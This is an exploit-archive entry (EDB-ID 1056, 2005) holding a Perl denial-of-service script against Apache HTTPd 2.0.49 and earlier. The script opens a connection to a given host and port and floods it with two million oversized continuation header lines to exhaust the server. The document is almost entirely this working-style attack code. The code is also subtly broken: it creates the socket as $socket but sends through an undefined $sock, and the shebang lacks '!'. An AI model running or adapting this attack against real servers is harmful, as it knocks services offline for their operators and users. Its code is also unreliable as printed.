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Apache <= 2.0.49 Arbitrary Long HTTP Headers Denial of Service



EDB-ID: 1056 CVE: N/A OSVDB-ID: N/A
Author: Qnix Published: 2005-06-20 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#/usr/bin/perl -w

use IO::Socket::INET;

usage() unless (@ARGV == 2);
my $host = shift(@ARGV);
my $port = shift(@ARGV);

sub usage
{
print "\n***********************************************";
print "\n Apache HTTPd Arbitrary Long HTTP Headers DoS \n";
print " Tested Versions : 2 < 2.0.49 \n";
print " Adv : http://www.guninski.com/httpd1.html \n";
print " By  : Qnix ,  Q-nix[at]hotmail[dot]com \n";
print "***********************************************\n\n";
print "Usage: apache_ap_get_dos.pl [Host] [Port]\n\n";
exit(1);
}

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to the host.\n";

binmode($sock);

$hostname="Host: $host";

$buf2='A'x50;
$buf4='A'x8183;

$len=length($buf2);

$buf="GET / HTTP/1.1\r\n";

send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
   $buf=" $buf4\r\n";
   send($sock,$buf,0) || die "send error:$@, target maybe have been
DoS?\n";
}

$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, the buffer sent to the target \n";
close($sock);

# milw0rm.com [2005-06-20]